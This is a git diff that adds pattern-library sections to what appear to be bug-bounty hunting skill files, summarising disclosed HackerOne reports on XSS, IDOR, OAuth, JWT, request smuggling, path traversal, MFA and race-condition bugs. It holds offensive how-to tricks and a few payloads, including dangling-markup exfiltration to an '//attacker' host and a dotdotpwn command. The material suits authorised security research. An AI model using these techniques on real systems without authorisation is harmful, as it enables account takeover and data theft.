- **Source:** Incomplete origin validation on a `message` handler gave DOM-based XSS on a login page (<https://hackerone.com/reports/603764>); a `window.postMessage` from any remote origin triggered XSS across all stores of a SaaS platform (<https://hackerone.com/reports/231053>, $3,000); a marketing-form page (<https://hackerone.com/reports/398054>) and a payments subdomain (<https://hackerone.com/reports/900619>) both mishandled `postMessage`.
- **Pattern shape:** A page registers `window.addEventListener('message', ...)` and uses `event.data` (writing it to `innerHTML`, passing to `eval`, or building a script/URL) **without validating `event.origin`** against an allowlist. Any page that can open/iframe the target sends a crafted message and lands script in the target's origin.
- **Key trick:** Grep the JS bundle for `addEventListener("message"` / `onmessage` and trace `event.data` to a sink. Confirm the handler either omits the `event.origin` check or uses a bypassable one (`indexOf`, `endsWith`, regex without anchors). Host a PoC page that frames the target and posts the payload.
- **Why it matters:** Executes despite server-side XSS defenses; reachable cross-origin. The canonical modern DOM-XSS class.
### URL-derived data into a DOM sink (fragment / query → innerHTML/eval)
- **Source:** A reflected DOM XSS via a settings parameter on an ads endpoint (<https://hackerone.com/reports/1549451>); a search parameter flowing to a DOM sink (<https://hackerone.com/reports/868934>).
- **Pattern shape:** Client-side JS reads `location.hash`/`location.search`/a query param and writes it into a DOM sink (`innerHTML`, `document.write`, `$(...).html()`, `eval`, a dynamic `<script src>`) without encoding. The payload never reaches the server, so WAF/server filters don't apply.
- **Key trick:** Test payloads in the URL *fragment* (after `#`) first — fragments are never sent to the server, proving the sink is purely client-side. Use the browser's debugger to break on the sink (`innerHTML` setter) and confirm the taint path.
- **Why it matters:** The half of XSS that server-side testing misses entirely; pairs with `hunt-xss` for the full surface.
### Further disclosed reports (this class)
Additional high-signal public disclosures exemplifying the patterns above; read at source for full technique.
- <https://hackerone.com/reports/481472> — $250
- <https://hackerone.com/reports/474656> — $500
- <https://hackerone.com/reports/1439552> — $1680
- <https://hackerone.com/reports/2007093> — $1000
- <https://hackerone.com/reports/1081167> — $1600
- <https://hackerone.com/reports/826394> — $1000
- <https://hackerone.com/reports/381356> — $0
- <https://hackerone.com/reports/207042> — $0
@@ -30,6 +30,22 @@ File upload pays when the uploaded artifact is *executed* (RCE), *rendered with
- **Key trick:** The bypass exploited a normalization mismatch between the validation layer (which sees `shell.jsp/`) and the storage layer (which sees `shell.jsp`). The same shape — validator and storer disagree on the canonical filename — recurs in many CVE entries against different products.
- **Why it matters:** Tomcat is ubiquitous. The CVE provides a verifiable cite for any operator finding PUT enabled. Internal-tooling Tomcat instances frequently still ship `readonly=false`.
## Disclosed HackerOne Reports (bounty-paid examples)
Bounty-paid public disclosures for this class, on top of the research/CVE grounding above. Targets genericized; each links its source.
### Unrestricted upload → webshell / stored script
- **Source:** Disclosed across multiple programs (<https://hackerone.com/reports/748903>, <https://hackerone.com/reports/1890284>, <https://hackerone.com/reports/3589247>).
- **Pattern shape:** The endpoint accepts an executable or active-content file (php/jsp/svg/html) with no extension/content-type/magic-byte validation, served from a path that renders it → RCE or stored XSS.
- **Key trick:** Upload the app-appropriate payload (svg with script, polyglot, double-extension, null-byte, content-type mismatch) and fetch the stored URL. Confirm execution/rendering, not just acceptance. Check the served `Content-Type` and path.
- **Why it matters:** Direct RCE (server-side exec) or stored XSS (svg/html) depending on serve context — the highest-severity upload outcome.
### Arbitrary file write / path traversal on upload
- **Source:** Disclosed across multiple programs (<https://hackerone.com/reports/583184>, <https://hackerone.com/reports/3780695>).
- **Pattern shape:** The filename or path parameter isn't sanitized, letting the upload write outside the intended directory (traversal), or a DB/engine primitive (`INTO OUTFILE`) writes attacker content to disk → overwrite/RCE.
- **Key trick:** Inject `../` sequences and absolute paths into the filename/path field; test any server-side write primitive reachable from the app. Confirm the file lands at the traversed path.
- **Why it matters:** File-write as the service account → config overwrite, webshell drop, privilege escalation. Often Critical.
---
## Pattern Library
@@ -0,0 +1,23 @@
# hunt-forgot-password — Pattern Library
> Patterns and verifiable public examples behind `hunt-forgot-password`. Operator-grade reference, not a complete enumeration. Cited examples are widely-discussed public disclosures; targets are genericized (the technique is the value, not the specific victim). Distilled from disclosed HackerOne reports; each entry links its source.
Account-recovery flows fail in predictable ways: reset tokens that leak, don't expire, or aren't bound to the account; recovery endpoints with no rate limit; and OTP/hint disclosure. Highest impact is full ATO via a token an attacker can obtain or reuse.
## Cited Public Examples
### Reset token leaked / not bound / non-expiring
- **Source:** Disclosed across multiple programs (<https://hackerone.com/reports/173551>, <https://hackerone.com/reports/685007>).
- **Pattern shape:** The reset token is exposed to the attacker (Referer leak, response body, host-header poisoning) or stays valid after the email changes / after use — so a captured or stale token still resets the account.
- **Key trick:** Request a reset, then (a) check whether the token appears in any cross-origin request/Referer, (b) change the account email and retry the old token, (c) reuse the token twice. Any success = ATO. Test host-header injection on the reset link generator.
- **Why it matters:** Direct account takeover, routinely Critical with four-to-five-figure bounties. The token is the whole authentication in that moment.
### No rate limit on recovery / OTP → brute or enumeration
- **Source:** Disclosed across multiple programs (<https://hackerone.com/reports/723974>, <https://hackerone.com/reports/1987062>, <https://hackerone.com/reports/2501984>).
- **Pattern shape:** The reset request, OTP verification, or recovery-answer endpoint has no throttle, letting an attacker brute the OTP, stuff recovery answers, or enumerate which emails have accounts.
- **Key trick:** Fire the OTP/recovery endpoint with a fixed victim + varying code (or varying email) and confirm no lockout/backoff. Pair with `hunt-brute-force`. Statistical: sample 100+ attempts before claiming no limit (avoid the server-policy-vs-state trap).
- **Why it matters:** Turns a bounded secret (6-digit OTP, security answer) into a guessable one; enumeration feeds targeted ATO.
### Further disclosed reports (this class)
- <https://hackerone.com/reports/2256548>
+49
View File
@@ -32,6 +32,55 @@ GraphQL endpoints are top-paying surface in 2025 because the schema is broad (on
---
### Field/query-level authz gap → cross-tenant / private-data disclosure
- **Source:** A GraphQL query disclosed sensitive private-program data ($25,000, <https://hackerone.com/reports/1618347>); queries exposed other customers' emails and confidential data (<https://hackerone.com/reports/807448>; <https://hackerone.com/reports/489146>).
- **Pattern shape:** A GraphQL field/type is authorized at the query root but not per-field or per-object, so a caller selects fields (email, private metadata, cross-tenant objects) they shouldn't see. GraphQL's flexible selection makes the missing field-level check easy to reach.
- **Key trick:** Introspect the schema, then request sensitive fields on shared types (`User`, `Program`, `Account`) from an unrelated context. Probe every field, not just what the UI selects — the leak is usually a field the UI never renders.
- **Why it matters:** Direct info-disclosure at scale; the dominant GraphQL bounty class.
### GraphQL IDOR on operation arguments
- **Source:** IDOR on `BillingDocumentDownload` / `BillDetails` operations via the invoice ID (<https://hackerone.com/reports/2207248>, $5,000).
- **Pattern shape:** A GraphQL query/mutation takes an object ID (invoice, document, node) and returns/acts on it without scoping to the viewer — the same IDOR as REST, but reachable through the typed operation and often missed because the REST endpoint *was* fixed.
- **Key trick:** Enumerate operations taking an ID argument; swap IDs across tenants. Always test the Relay `node(id:)`/`nodes()` backdoor. Pairs with `hunt-idor`.
- **Why it matters:** GraphQL re-opens IDORs teams thought they'd closed at the REST layer.
### Mutation aliasing / batching → DoS & rate-limit bypass
- **Source:** DoS via mutation aliasing in an account-recovery flow (<https://hackerone.com/reports/3287208>, $12,500).
- **Pattern shape:** GraphQL lets one request contain many aliased copies of the same mutation/field. Without per-operation cost limits, this amplifies work (DoS) or bypasses per-request rate limits (e.g. brute-forcing OTP/recovery N times in one HTTP request).
- **Key trick:** Send a single query with 100 aliased copies of a sensitive mutation (`a: mutation, b: mutation, ...`). If all execute, there's no query-cost/aliasing limit — report as DoS and/or rate-limit bypass.
- **Why it matters:** A GraphQL-specific amplification with no REST analog; feeds `hunt-brute-force`.
### GraphQL argument → downstream injection (search/sort → engine)
- **Source:** A `sort_query` string argument passed to a downstream Elasticsearch cluster enabled Painless script execution (<https://hackerone.com/reports/3694007>, $7,000).
- **Pattern shape:** A GraphQL string argument (sort, filter, search DSL) flows unsanitized into a downstream engine — Elasticsearch Painless, a SQL builder, a template — turning a query field into an injection/RCE sink.
- **Key trick:** Trace every free-string GraphQL argument to its backend. For search/sort args, test engine-specific injection (Painless `{{...}}`, ES query DSL, SQL). Overlaps `hunt-rce`/`hunt-sqli` at the sink.
- **Why it matters:** Escalates GraphQL from data-layer to code execution.
### Further disclosed reports (this class)
Additional high-signal public disclosures exemplifying the patterns above; read at source for full technique.
- <https://hackerone.com/reports/792927> — $0
- <https://hackerone.com/reports/3000510> — $0
- <https://hackerone.com/reports/1864188> — $3000
- <https://hackerone.com/reports/1122408> — $3370
- <https://hackerone.com/reports/978143> — $2500
- <https://hackerone.com/reports/770209> — $2500
- <https://hackerone.com/reports/2122671> — $0
- <https://hackerone.com/reports/715192> — $2500
- <https://hackerone.com/reports/877642> — $2500
- <https://hackerone.com/reports/981472> — $2000
- <https://hackerone.com/reports/885539> — $0
- <https://hackerone.com/reports/1969141> — $0
- <https://hackerone.com/reports/342978> — $2500
- <https://hackerone.com/reports/343464> — $2500
- <https://hackerone.com/reports/2218334> — $0
- <https://hackerone.com/reports/1711938> — $0
- <https://hackerone.com/reports/871749> — $0
- <https://hackerone.com/reports/707433> — $0
- <https://hackerone.com/reports/435066> — $0
- <https://hackerone.com/reports/898528> — $0
## Pattern Library
### Endpoint discovery — find the GraphQL
@@ -0,0 +1,23 @@
# hunt-html-injection — Pattern Library
> Patterns and verifiable public examples behind `hunt-html-injection`. Operator-grade reference, not a complete enumeration. Cited examples are widely-discussed public disclosures; targets are genericized (the technique is the value, not the specific victim). Distilled from disclosed HackerOne reports; each entry links its source.
HTML injection pays when the sink renders attacker markup without script execution — dangling markup, form/anchor injection, and email-template injection that reaches a victim's inbox. The value is in the *sink context* and what the injected markup can exfiltrate or spoof, not in proving XSS.
## Cited Public Examples
### Injected markup in a confirmation / notification email
- **Source:** Disclosed across multiple programs (<https://hackerone.com/reports/1935628>, <https://hackerone.com/reports/3556892>, <https://hackerone.com/reports/3079966>).
- **Pattern shape:** A user-controlled field (name, comment, request subject) is reflected unescaped into a transactional email the app sends to another user or an admin. No script runs, but injected `<a>`/`<img>`/dangling-markup exfiltrates via link clicks or leaks the recipient's context.
- **Key trick:** Set your profile/first-name/comment to `<a href=//attacker>click</a>` or a dangling `<img src='//attacker?` and trigger the email that renders it (signup confirm, admin notification, support-chat transcript). Read the raw email source — the sink is the mail body, not the web page.
- **Why it matters:** Reaches an audience the web app can't (admins, other tenants) and lands even when the web UI is well-escaped. Frequently the only place HTML is rendered unfiltered.
### Name / profile field HTML injection → content spoofing
- **Source:** Disclosed across multiple programs (<https://hackerone.com/reports/1343492>, <https://hackerone.com/reports/428019>).
- **Pattern shape:** A displayed identity field (firstName, display name, org name) renders raw markup in another user's view. Injected markup spoofs UI, injects fake login prompts, or hides/overlays legitimate content.
- **Key trick:** Inject markup into every field that renders in someone else's context; check both the web view and any generated PDF/email. Chain with CSRF when the field is set on the victim's behalf.
- **Why it matters:** Content-spoofing / phishing surface that survives strict CSP (no script needed). Chains to CSRF for stored delivery.
### Further disclosed reports (this class)
- <https://hackerone.com/reports/1054382>
@@ -32,6 +32,33 @@ HTTP request smuggling pays well and has the lowest duplicate rate of any modern
---
### Desync → cache poisoning → stored XSS (payments program, $20,000)
- **Source:** A request-smuggling desync on a frontend caching layer was used to convert a page request into a poisoned cached response carrying stored XSS on a signin page (<https://hackerone.com/reports/488147>, $18,900), and a follow-up bypass re-enabled the same stored XSS (<https://hackerone.com/reports/510152>, $20,000).
- **Pattern shape:** The smuggled request desyncs the front-end cache so an attacker-controlled response body is cached against a victim-facing URL (login/signin). The cached body carries script → stored XSS served to every visitor of the cached path until eviction. Smuggling supplies the poisoning primitive that ordinary cache-poison (`hunt-cache-poison`) can't reach.
- **Key trick:** Chain, don't stop at the desync. Once you confirm CL.TE/TE.CL, aim the smuggled request at a cacheable path and check whether your body is served to a *second* request — that's the poison landing. The bypass report shows fixes are often incomplete: re-test after remediation.
- **Why it matters:** Turns a protocol-layer desync into persistent client-side compromise on a high-traffic authenticated page — the reason smuggling routinely pays $15K–$30K. Pairs with `hunt-cache-poison` and `hunt-xss`.
### CL.TE request hijacking → neighbouring-user token capture / mass ATO
- **Source:** A CL.TE desync on a SaaS program hijacked neighbouring customers' requests on the keep-alive connection, enabling mass account takeover (<https://hackerone.com/reports/737140>); a desync reached through a CDN captured `X-Access-Token` headers from other users in bulk on a food-delivery program (<https://hackerone.com/reports/771666>).
- **Pattern shape:** The smuggled prefix causes the back-end to attribute the *next* legitimate request's headers/body to the attacker's response — so the victim's `Cookie`/`Authorization`/`X-Access-Token` is reflected back to the attacker. Repeated on a busy socket, it harvests live credentials from arbitrary users → mass ATO.
- **Key trick:** Use a "collector" gadget — smuggle a request whose back-end handler echoes the full request (a search/redirect that reflects headers), then read captured victim tokens from your own responses. Works even through a CDN (Akamai/Cloudflare) when the CDN↔origin hop desyncs.
- **Why it matters:** The highest-impact smuggling outcome — no per-user interaction, harvests credentials at scale. Chains to `hunt-ato`.
### HTTP/2 downgrade & modern desync variants (H2.CL / TE.CL / encoding)
- **Source:** HTTP/2 request smuggling (<https://hackerone.com/reports/1211724>, $7,500); TE.CL desync on a messaging program (<https://hackerone.com/reports/740037>); a Transform-Rules hex-encoding smuggling on an edge platform (<https://hackerone.com/reports/1478633>, $6,000); and the Apache HTTP Server desync class (CVE-2022-22720, <https://hackerone.com/reports/1667974>).
- **Pattern shape:** Beyond classic CL.TE, modern desyncs arise from HTTP/2→HTTP/1.1 downgrade (the H2 frontend re-serializes to H1 for the origin, re-introducing CL/TE ambiguity), from encoding tricks the edge rewrites but the origin re-parses (hex/upper-lower normalisation), and from server bugs (Apache CVE-2022-22720). All produce the same connection-boundary disagreement.
- **Key trick:** When the frontend speaks HTTP/2, always test the downgrade path — send `content-length` inside an H2 request and see if the origin honours a smuggled body. For edge platforms, probe whether a rewrite function (lower/concat/hex-decode) changes header parsing between edge and origin.
- **Why it matters:** As CL.TE gets patched, H2-downgrade and encoding-normalisation are where smuggling still lands in 2024–2026. Keeps the skill current with modern disclosures rather than only the 2019 CL.TE era.
### Further disclosed reports (this class)
Additional high-signal public disclosures exemplifying the patterns above; read at source for full technique.
- <https://hackerone.com/reports/2280391> — $4660
- <https://hackerone.com/reports/2327341> — $4660
- <https://hackerone.com/reports/867952> — $0
- <https://hackerone.com/reports/726773> — $750
## Pattern Library
### Classic CL.TE smuggling
+52
View File
@@ -147,3 +147,55 @@ IDOR is the workhorse of bug bounty. It pays consistently because the proof is d
- **Looks like:** You read another user's profile object and see their email / username / display name.
- **Actually is:** Many platforms intentionally expose username and display name publicly. If the leaked fields are already discoverable on the user's public profile page, the "IDOR" is just the public API doing what it should.
- **How to disprove:** Compare leaked fields against the public profile page. If everything you can fetch via the IDOR is already public, no privacy boundary was crossed — the bug is N/A. Look for additional fields (email, phone, billing, internal flags) before reporting.
## Notable Disclosed IDOR Reports (specific)
The class patterns above are the operator value; these specific high-bounty disclosures anchor them to real, verifiable cases.
### Missing object-level check → delete / modify / read another user's data
- **Source:** Remotely deleting anyone's content on a media feature (<https://hackerone.com/reports/1819832>, $15,000); deleting all ~4.4M private messages due to a missing permission check (<https://hackerone.com/reports/1213237>, $5,000); transferring/stealing another project's issues and merge requests via an import ID (<https://hackerone.com/reports/743953>, $20,000); arbitrary read of another user's private repository (<https://hackerone.com/reports/3124517>, $10,000).
- **Pattern shape:** A read or state-changing operation accepts an object identifier and enforces authentication but not *ownership* — so swapping the ID reaches another tenant's object. Delete/modify variants are the highest-impact (data destruction).
- **Key trick:** For every object-scoped operation (GET/PUT/DELETE, import/transfer), swap the ID for a victim's and confirm a real effect (data returned or state changed), not a 200. Test the destructive verbs — DELETE IDORs are under-tested and pay the most.
### IDOR on account-management → privilege / PII exposure
- **Source:** Adding secondary users with privileges to another owner's business account (<https://hackerone.com/reports/415081>, $10,500); viewing any user's email via a crafted invitation (<https://hackerone.com/reports/2032716>, $12,500).
- **Pattern shape:** An account/organization management endpoint (add member, invite, view profile) references a target account/user by ID without verifying the caller's authority over it — reaching privilege assignment or PII across tenants.
- **Key trick:** Focus on org/team/billing management endpoints; the object is the *account*, so an IDOR there escalates to privilege or PII. Overlaps `hunt-ato` when it adds a controlled user to a victim account.
### Further disclosed reports (this class)
Additional high-signal public IDOR disclosures; read at source for full technique.
- <https://hackerone.com/reports/767770> — $20000
- <https://hackerone.com/reports/1658418> — $5000
- <https://hackerone.com/reports/1145428> — $5750
- <https://hackerone.com/reports/1966006> — $3000
- <https://hackerone.com/reports/698579> — $0
- <https://hackerone.com/reports/762510> — $0
- <https://hackerone.com/reports/1250037> — $3000
- <https://hackerone.com/reports/2483666> — $2500
- <https://hackerone.com/reports/2442008> — $0
- <https://hackerone.com/reports/1392630> — $2500
- <https://hackerone.com/reports/1501611> — $0
- <https://hackerone.com/reports/2487889> — $0
- <https://hackerone.com/reports/876300> — $0
- <https://hackerone.com/reports/1581240> — $0
- <https://hackerone.com/reports/3154983> — $0
- <https://hackerone.com/reports/703058> — $0
- <https://hackerone.com/reports/2528293> — $1160
- <https://hackerone.com/reports/980511> — $1500
- <https://hackerone.com/reports/1475520> — $0
- <https://hackerone.com/reports/391092> — $0
- <https://hackerone.com/reports/1661113> — $0
- <https://hackerone.com/reports/915114> — $0
- <https://hackerone.com/reports/1751258> — $1730
- <https://hackerone.com/reports/514897> — $1500
- <https://hackerone.com/reports/974222> — $0
- <https://hackerone.com/reports/2633771> — $0
- <https://hackerone.com/reports/837400> — $0
- <https://hackerone.com/reports/1410498> — $1250
- <https://hackerone.com/reports/2868084> — $0
- <https://hackerone.com/reports/536853> — $0
- <https://hackerone.com/reports/1892200> — $1160
- <https://hackerone.com/reports/283014> — $1000
- <https://hackerone.com/reports/56511> — $1000
+31
View File
@@ -0,0 +1,31 @@
# hunt-jwt-crypto — Pattern Library
> Patterns and verifiable public examples behind `hunt-jwt-crypto`. Operator-grade reference, not a complete enumeration. Targets genericized; report URLs cited. Distilled from disclosed HackerOne reports.
JWT crypto bugs pay because a single flaw lets an attacker forge a token for any identity — including admin — with no credential. The disclosures below cluster on algorithm confusion, missing signature/claim validation, and token disclosure enabling impersonation.
## Cited Public Examples
### Algorithm confusion (RS256 → HS256 / alg not pinned)
- **Source:** A JWT algorithm-confusion vulnerability where the verifier did not pin the algorithm, on a `v1` API (<https://hackerone.com/reports/3800870>, $1,337).
- **Pattern shape:** The verifier trusts the token's `alg` header instead of pinning it server-side. An attacker switches an RS256 (asymmetric) token to HS256 (symmetric) and signs it with the *public* key as the HMAC secret — the server verifies the HMAC with that same public key and accepts the forgery.
- **Key trick:** Obtain the public key (JWKS endpoint, TLS cert, or a valid RS256 token → derive), re-sign a tampered token as HS256 with the public key bytes as the secret, set `alg: HS256`. Also test `alg: none`.
- **Why it matters:** Full identity forgery (forge an admin token) from a public key. Classic high-severity JWT bug.
### Missing / improper signature or claim validation
- **Source:** Backend services that did not properly validate JWTs, bypassable by tampering the expiration and other claims (<https://hackerone.com/reports/1760403>); a state-upload API that let a crafted token bypass `verify_api_request` signing (<https://hackerone.com/reports/1040786>, $10,000).
- **Pattern shape:** A service accepts a JWT without verifying the signature at all, or verifies signature but not critical claims (`exp`, `aud`, `iss`, `sub`) — so an attacker edits claims (identity, expiry, audience) and the token is honored. Common on *internal* microservices that assume the gateway already checked.
- **Key trick:** Tamper each claim in turn (change `sub`/`user_id`, extend `exp`, swap `aud`) and replay; strip the signature; test the token against internal/secondary endpoints the gateway doesn't front.
- **Why it matters:** Every service that re-parses a JWT must re-verify it; the gap is usually one internal service that trusts the token blindly.
### JWT disclosure / forgeable SSO token → impersonation
- **Source:** An integration plugin that leaked a JWT to an unauthorized party (<https://hackerone.com/reports/1103582>, $3,000); an SSO-to-helpdesk implementation whose JWT could be forged from a weak/shared secret (<https://hackerone.com/reports/638635>).
- **Pattern shape:** A JWT used for SSO or an integration is either leaked (in a response, referer, or plugin config) or forgeable because the signing secret is weak, shared, or guessable — letting an attacker mint tokens for arbitrary users into the downstream app.
- **Key trick:** Hunt the SSO JWT flow (`/jwt`, `?jwt=`, plugin configs); if a secret is derivable or short, brute it offline (`hashcat -m 16500`). Overlaps `hunt-saml`/`hunt-oauth` for the SSO surface.
- **Why it matters:** Forged SSO tokens = ATO into every app behind that SSO.
### Further disclosed reports (this class)
Additional high-signal public disclosures exemplifying the patterns above; read at source for full technique.
- <https://hackerone.com/reports/1328546> — $15000
+36
View File
@@ -147,3 +147,39 @@ done
# dotdotpwn
dotdotpwn.pl -m http -h target.com -o unix
```
### Path traversal in a file-handling API → arbitrary file read
- **Source:** A file-copy rewriter that did not validate the file name, allowing arbitrary files to be copied via directory traversal (<https://hackerone.com/reports/827052>, $20,000); path traversal in package-registry APIs (<https://hackerone.com/reports/733072>, $12,000; <https://hackerone.com/reports/822262>, $12,000); a management-console path traversal (<https://hackerone.com/reports/1497169>, $10,000).
- **Pattern shape:** A file name or path parameter (upload rewriter, package fetch, download, template include) is used to build a filesystem path without canonicalization, so `../` sequences escape the intended directory and read (or write) arbitrary files — secrets, source, config.
- **Key trick:** Test every file/path parameter with `../`, encoded (`%2e%2e%2f`, double-encoded), and absolute paths; target `/etc/passwd`, app config, and secret files. Package-registry and upload-rewriter APIs are recurring high-bounty spots.
- **Why it matters:** Arbitrary read reaches secrets/source → often chains to RCE; consistently five-figure.
### Archive extraction traversal / symlink (zip-slip)
- **Source:** A bulk-import API that did not strip symlinks when untarring an uploads archive, allowing arbitrary file read (<https://hackerone.com/reports/1439593>, $29,000).
- **Pattern shape:** A feature that extracts a user-supplied archive (tar/zip) follows `../` entries or symlinks inside it, writing or reading files outside the extraction directory — "zip-slip." Import/restore/backup features are the usual carriers.
- **Key trick:** Craft an archive with `../` path entries and symlinks pointing at sensitive files; upload via the import/restore feature and check whether extraction escapes the sandbox. Test both write (overwrite config → RCE) and read (symlink → exfil).
- **Why it matters:** One of the highest-bounty LFI variants ($29k here); reaches arbitrary write → RCE.
### Further disclosed reports (this class)
Additional high-signal public disclosures exemplifying the patterns above; read at source for full technique.
- <https://hackerone.com/reports/1132378> — $16000
- <https://hackerone.com/reports/2995025> — $6000
- <https://hackerone.com/reports/3712279> — $5000
- <https://hackerone.com/reports/1394916> — $4000
- <https://hackerone.com/reports/1378889> — $3500
- <https://hackerone.com/reports/1858574> — $0
- <https://hackerone.com/reports/2434811> — $2430
- <https://hackerone.com/reports/301432> — $2000
- <https://hackerone.com/reports/876295> — $0
- <https://hackerone.com/reports/1415820> — $1000
- <https://hackerone.com/reports/307808> — $1500
- <https://hackerone.com/reports/519220> — $1000
- <https://hackerone.com/reports/727727> — $0
- <https://hackerone.com/reports/682774> — $1250
- <https://hackerone.com/reports/436928> — $0
- <https://hackerone.com/reports/1302155> — $1250
- <https://hackerone.com/reports/1400238> — $1000
- <https://hackerone.com/reports/1404731> — $1000
- <https://hackerone.com/reports/243156> — $1000
+18
View File
@@ -38,6 +38,24 @@ MFA bypasses pay High–Critical because they convert "I stole one credential" i
---
### MFA not enforced on all session-establishing paths
- **Source:** A bypass of the 2FA requirement letting any user skip multiple program restrictions (<https://hackerone.com/reports/418767>, $10,000); a 2FA-enforcement bypass by logging in and following the post-login redirect directly (<https://hackerone.com/reports/1050244>).
- **Pattern shape:** MFA is checked in the primary login handler but not on every path that establishes an authenticated session — an alternate login, an OAuth/SSO return, an API token exchange, or the post-2FA redirect target reachable directly. The attacker reaches the authenticated state without completing the challenge.
- **Key trick:** Enumerate every route that yields a session (SSO callback, "remember me", mobile/API login, password-reset auto-login). For each, complete auth with a 2FA-enabled account and check whether the challenge is actually enforced or just rendered.
- **Why it matters:** The dominant MFA-bypass root cause — enforcement is per-handler, and one handler always forgets.
### MFA-mode / recovery-channel downgrade
- **Source:** An "email" MFA mode that allowed bypassing MFA from the victim's perspective (<https://hackerone.com/reports/665722>, $2,500); a 2FA bypass via login-redirect handling (<https://hackerone.com/reports/1247108>, $1,564).
- **Pattern shape:** The account offers multiple MFA/recovery channels (email OTP, SMS, backup codes) and the *weakest* is not held to the same bar — e.g. an email-OTP mode reachable without proving control of the primary factor, or a recovery flow that skips MFA entirely.
- **Key trick:** Map every MFA and recovery option; try to satisfy the challenge via the weakest channel or downgrade to it mid-flow. The bug is usually an inconsistent check across channels.
- **Why it matters:** Attackers pick the weakest link; a strong TOTP is moot if email-OTP recovery bypasses it.
### Enroll MFA / bind factor without verifying identity
- **Source:** Adding 2FA to an account without verifying the email first (<https://hackerone.com/reports/649533>).
- **Pattern shape:** The enrollment flow binds an MFA factor (or an email/phone) without verifying ownership of the account's existing identifier — enabling pre-account-takeover setups or locking the legitimate user out.
- **Key trick:** During signup/enrollment, attempt to bind an MFA factor before the email/phone verification step completes. Chains with `hunt-ato` when it lets you pre-provision an account you'll later claim.
- **Why it matters:** Turns MFA from a defense into an ATO primitive.
## Pattern Library
### Brute-force the 6-digit OTP — no rate limit
+41
View File
@@ -32,6 +32,46 @@ OAuth flaws pay top-tier bounties because they bridge the gap between "a small c
---
### redirect_uri manipulation → authorization-code / token theft
- **Source:** A path traversal in the OAuth `redirect_uri` leaking the authorization code to an attacker-controlled destination (<https://hackerone.com/reports/1861974>, $2,000); stealing OAuth codes/access-tokens via `postMessage` in the redirect flow (<https://hackerone.com/reports/1567186>).
- **Pattern shape:** The authorization server validates `redirect_uri` loosely — prefix match, path traversal, subdomain wildcard, or a `postMessage` relay — so the code/token is delivered to an attacker-controlled URL. With the code, the attacker completes the flow and takes over the account.
- **Key trick:** Test every `redirect_uri` mutation (append path, `../`, `.attacker.com`, `@attacker.com`, open-redirect on an allowed host) and watch where the `code`/`access_token` lands. Chains with `hunt-open-redirect`.
- **Why it matters:** The dominant OAuth ATO primitive — one loose validation = full account takeover.
### OAuth flow SSRF (authorization / callback fetches a URL)
- **Source:** A blind SSRF in an OAuth authorization controller's `access_token` endpoint (<https://hackerone.com/reports/398799>, $4,000).
- **Pattern shape:** An OAuth authorization/callback/token endpoint fetches a server-side URL (metadata document, JWKS, provider discovery, avatar) built from attacker-influenced input — reachable pre-auth, making it a high-value SSRF entry point.
- **Key trick:** Point provider-discovery/JWKS/`request_uri` parameters at internal hosts and OOB collaborators. Overlaps `hunt-ssrf`; noted here because the OAuth endpoints are often unauthenticated and overlooked.
- **Why it matters:** Pre-auth SSRF reaching cloud metadata → infra compromise.
### OAuth grant bypasses verification / permission checks
- **Source:** Bypassing an email-verification requirement through the OAuth flow (<https://hackerone.com/reports/922456>, $3,000); a staff member without the app permission accessing an app via an OAuth misconfiguration (<https://hackerone.com/reports/740989>).
- **Pattern shape:** The OAuth grant path skips a control the normal flow enforces — email verification, scope/permission checks, or account-state gating — because the provider trusts the OAuth-established identity without re-checking. Attacker uses OAuth to reach a state direct signup forbids.
- **Key trick:** Compare what direct signup enforces vs what the OAuth path enforces (email verified? scope granted? role checked?). The bug is a check present on one path and missing on the other.
- **Why it matters:** Turns "sign in with X" into a control bypass; pairs with `hunt-auth-bypass`.
### Further disclosed reports (this class)
Additional high-signal public disclosures exemplifying the patterns above; read at source for full technique.
- <https://hackerone.com/reports/294911> — $4000
- <https://hackerone.com/reports/65825> — $5000
- <https://hackerone.com/reports/392106> — $3000
- <https://hackerone.com/reports/202781> — $0
- <https://hackerone.com/reports/434763> — $2940
- <https://hackerone.com/reports/905607> — $0
- <https://hackerone.com/reports/397497> — $3000
- <https://hackerone.com/reports/3489490> — $2500
- <https://hackerone.com/reports/821896> — $1200
- <https://hackerone.com/reports/110293> — $0
- <https://hackerone.com/reports/861940> — $0
- <https://hackerone.com/reports/168116> — $0
- <https://hackerone.com/reports/168538> — $2100
- <https://hackerone.com/reports/3734676> — $2000
- <https://hackerone.com/reports/488269> — $0
- <https://hackerone.com/reports/3423013> — $1000
- <https://hackerone.com/reports/46485> — $1260
## Pattern Library
### `redirect_uri` host injection
@@ -153,3 +193,4 @@ OAuth flaws pay top-tier bounties because they bridge the gap between "a small c
- **Looks like:** App has an endpoint that issues `Location: <user-supplied>`. Looks like open redirect, looks chainable to OAuth code theft.
- **Actually is:** Browsers strip fragments on 302 redirects to a new origin (per spec). If the OAuth callback delivers the code in a fragment, the chained redirect drops the code. The attacker receives nothing.
- **How to disprove:** Trace the redirect chain end-to-end with browser dev tools. If the final URL at attacker.com has no `code=` parameter or fragment, the chain doesn't reach token theft. The open redirect remains a finding on its own (lower severity), but the OAuth chain doesn't land.
@@ -0,0 +1,35 @@
# hunt-race-condition — Pattern Library
> Patterns and verifiable public examples behind `hunt-race-condition`. Operator-grade reference, not a complete enumeration. Targets genericized; report URLs cited. Distilled from disclosed HackerOne reports. Complements the skill's single-packet-attack methodology.
Race conditions pay because the proof is a state the application swears is impossible — a coupon redeemed twice, a limit checked but not enforced. Modern desync tooling (HTTP/2 single-packet) made these reliable to trigger. The disclosures below cluster on limit/verification bypass, single-use-action duplication, and timing side-channels.
## Cited Public Examples
### Verification / limit bypass via concurrent requests
- **Source:** Bypassing an email-verification process in a partner dashboard, enabling takeover (<https://hackerone.com/reports/300305>, $15,250); a race that bypassed verification-check limits on an identity platform (<https://hackerone.com/reports/2110030>, $3,000).
- **Pattern shape:** A check-then-act flow (verify email, enforce a per-user limit, confirm an action) reads state, validates, then mutates — with a window between read and write. Firing many requests in that window lets multiple pass the same "you may do this once" check.
- **Key trick:** Send N identical requests in a single packet (HTTP/2 single-packet attack, or last-byte-sync on HTTP/1.1) so they hit the check-act window simultaneously. If more than one succeeds against a "once only" action, it's a TOCTOU race.
- **Why it matters:** Turns any limit/verification into a bypass; the highest-reliability race class since single-packet.
### Single-use action executed multiple times (redeem / duplicate)
- **Source:** Redeeming gift cards multiple times via a race (<https://hackerone.com/reports/759247>); duplicating a retest action through concurrent requests (<https://hackerone.com/reports/429026>).
